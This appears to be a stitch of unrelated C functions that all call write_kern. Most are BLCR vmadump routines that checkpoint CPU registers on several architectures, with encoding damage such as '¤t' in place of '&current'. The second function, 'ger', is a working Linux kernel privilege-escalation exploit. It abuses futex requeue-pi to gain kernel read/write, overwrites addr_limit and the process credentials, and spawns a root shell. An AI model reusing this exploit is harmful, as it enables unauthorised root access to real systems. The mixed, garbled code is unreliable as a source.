long vmadump_store_cpu(struct vmadump_map_ctx *ctx, struct file *file, struct pt_regs *regs) { struct switch_stack *ss; unsigned long usp; long bytes = 0, r; /* Store struct pt_regs */ r = write_kern(ctx, file, regs, sizeof(*regs)); if (r != sizeof(*regs)) goto err; bytes += r; /* Alpha has more registers than what's in struct ptregs to save * The 'switch_stack' structure contains the rest of the integer * registers and the floating point registers. Then we still have * to go after the user's stack pointer via the PAL code. */ /* Some pointer voodoo... the switch_stack structure got * pushed on top of the struct pt_regs.. */ ss = ((struct switch_stack *) regs)-1; usp = rdusp(); r = write_kern(ctx, file, ss, sizeof(*ss)); if (r != sizeof(*ss)) goto err; bytes += r; r = write_kern(ctx, file, &usp, sizeof(usp)); if (r != sizeof(usp)) goto err; bytes += r; return bytes; err: if (r >= 0) r = -EIO; return r; }
void *ger(void *arg){ int sem_id; void *task_struct,*cred; char buf[256]; const char new_addr_limit[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; const char new_egideuid[] = {0,0,0,0}; printf("ger thread\n"); int fd = open("/dev/null", O_RDWR); setpriority(PRIO_PROCESS , 0, *(int*)arg); if ((sem_id = semget(IPC_PRIVATE,(WAITER_OVERWRITE_SIZE+WAITER_OVERWRITE_OFFSET)/2,IPC_CREAT | 0660)) < 0){ perror("semget"); } // don't call anything else to prevent tainting rt_waiter futex_wait_requeue_pi(&srcfutex, 0, &destfutex, NULL, 0); semctl(sem_id,-1,SETALL,sem_values); while(!proceed_to_overwrite); proceed_to_overwrite = 0; semctl(sem_id,-1,SETALL,sem_values); while(!proceed_to_overwrite); proceed_to_overwrite = 0; while(write(fd, (void*)(tbase+24), 8) < 0){ printf("no kernel r/w\n"); sleep(1); } printf("has kernel r/w!\n"); write_kern((void*)(tbase+32), (void *)&new_addr_limit, 8); futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); // dummy call to trigger breakpoint read_kern((void*)(tbase), (void *)&task_struct, 8); printf("task_struct: %p\n",task_struct); read_kern((void *)(task_struct+0x598), (void*)&cred, 8); printf("cred: %p\n",cred); futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); write_kern((void *)(cred+20), (void*)&new_egideuid, 4); write_kern((void *)(cred+24), (void*)&new_egideuid, 4); futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); if(geteuid() != 0) printf("not root :(\n"); sprintf(buf,"sh -c \"echo success %d > offset.txt && chmod 777 offset.txt && sh \"",WAITER_OVERWRITE_OFFSET); system(buf); printf("ger function exiting\n"); return NULL; }
long vmadump_store_cpu(cr_chkpt_proc_req_t *ctx, struct file *file, struct pt_regs *regs) { long bytes = 0, r; /* Store struct pt_regs */ r = write_kern(ctx, file, regs, sizeof(*regs)); if (r != sizeof(*regs)) goto err; bytes += r; /* Floating point regs */ if (regs->msr & MSR_FP) giveup_fpu(current); r = write_kern(ctx, file, ¤t->thread.fpr, sizeof(current->thread.fpr)); if (r != sizeof(current->thread.fpr)) goto err; bytes += r; r = write_kern(ctx, file, ¤t->thread.fpscr, sizeof(current->thread.fpscr)); if (r != sizeof(current->thread.fpscr)) goto err; bytes += r; #if HAVE_THREAD_VDSO_BASE /* unconditionally store the base of the VDSO library */ r = write_kern(ctx, file, ¤t->thread.vdso_base, sizeof(current->thread.vdso_base)); if (r != sizeof(current->thread.vdso_base)) goto err; bytes += r; #endif #ifdef CONFIG_ALTIVEC /* XXX I really need to find out if this is right */ if (regs->msr & MSR_VEC) giveup_altivec(current); r = write_kern(ctx, file, ¤t->thread.vr, sizeof(current->thread.vr)); if (r != sizeof(current->thread.vr)) goto err; bytes += r; r = write_kern(ctx, file, ¤t->thread.vscr, sizeof(current->thread.vscr)); if (r != sizeof(current->thread.vscr)) goto err; bytes += r; #endif return bytes; err: if (r >= 0) r = -EIO; return r; }
loff_t vmad_store_arch_map(cr_chkpt_proc_req_t *ctx, struct file *file, struct vm_area_struct *map, int flags) { loff_t r = 0; if (vmad_is_arch_map(map)) { /* Just write out a section header */ struct vmadump_vma_header head; head.start = map->vm_start; head.end = map->vm_end; head.flags = map->vm_flags; head.namelen = VMAD_NAMELEN_ARCH; head.offset = 0; r = write_kern(ctx, file, &head, sizeof(head)); if (r < 0) return r; if (r != sizeof(head)) r = -EIO; } return r; }
long vmadump_store_cpu(cr_chkpt_proc_req_t *ctx, struct file *file, struct pt_regs *regs) { long bytes = 0, r; /* Store struct pt_regs */ #ifdef CONFIG_XEN /* Ensure CS and SS are not Xen-modified, others restore based on CS */ { struct pt_regs regtmp = *regs; if (test_thread_flag(TIF_IA32)) { regtmp.cs = __USER32_CS; regtmp.ss = __USER32_DS; } else { regtmp.cs = __USER_CS; regtmp.ss = __USER_DS; } r = write_kern(ctx, file, ®tmp, sizeof(regtmp)); } #else r = write_kern(ctx, file, regs, sizeof(*regs)); #endif if (r != sizeof(*regs)) goto err; bytes += r; /* Store FPU info (and later general "extended state") */ r = vmadump_store_i387(ctx, file); if (r <= 0) goto err; bytes += r; /* Store debugging state */ r = vmadump_store_debugreg(ctx, file); if (r < 0) goto err; bytes += r; /* user(r)sp, since we don't use the ptrace entry path in BLCR */ #if HAVE_THREAD_USERSP current->thread.usersp = vmad_read_oldrsp(); r = write_kern(ctx, file, ¤t->thread.usersp, sizeof(current->thread.usersp)); if (r != sizeof(current->thread.usersp)) goto err; #elif HAVE_THREAD_USERRSP current->thread.userrsp = vmad_read_oldrsp(); r = write_kern(ctx, file, ¤t->thread.userrsp, sizeof(current->thread.userrsp)); if (r != sizeof(current->thread.userrsp)) goto err; #else #error #endif bytes += r; /* Store all weird segmenty crap */ /* 64-bit offsets for FS and GS */ r = write_kern(ctx, file, ¤t->thread.fs, sizeof(current->thread.fs)); if (r != sizeof(current->thread.fs)) goto err; bytes += r; r = write_kern(ctx, file, ¤t->thread.gs, sizeof(current->thread.gs)); if (r != sizeof(current->thread.gs)) goto err; bytes += r; savesegment(fs,current->thread.fsindex); savesegment(gs,current->thread.gsindex); /* 32-bit segment descriptors for FS and GS */ r = write_kern(ctx, file, ¤t->thread.fsindex, sizeof(current->thread.fsindex)); if (r != sizeof(current->thread.fsindex)) goto err; bytes += r; r = write_kern(ctx, file, ¤t->thread.gsindex, sizeof(current->thread.gsindex)); if (r != sizeof(current->thread.gsindex)) goto err; bytes += r; /* TLS segment descriptors */ r = write_kern(ctx, file, ¤t->thread.tls_array, sizeof(current->thread.tls_array)); if (r != sizeof(current->thread.tls_array)) goto err; bytes += r; #if HAVE_THREAD_INFO_SYSENTER_RETURN { void *sysenter_return = current_thread_info()->sysenter_return; r = write_kern(ctx, file, &sysenter_return, sizeof(sysenter_return)); if (r != sizeof(sysenter_return)) goto err; } #endif return bytes; err: if (r >= 0) r = -EIO; return r; }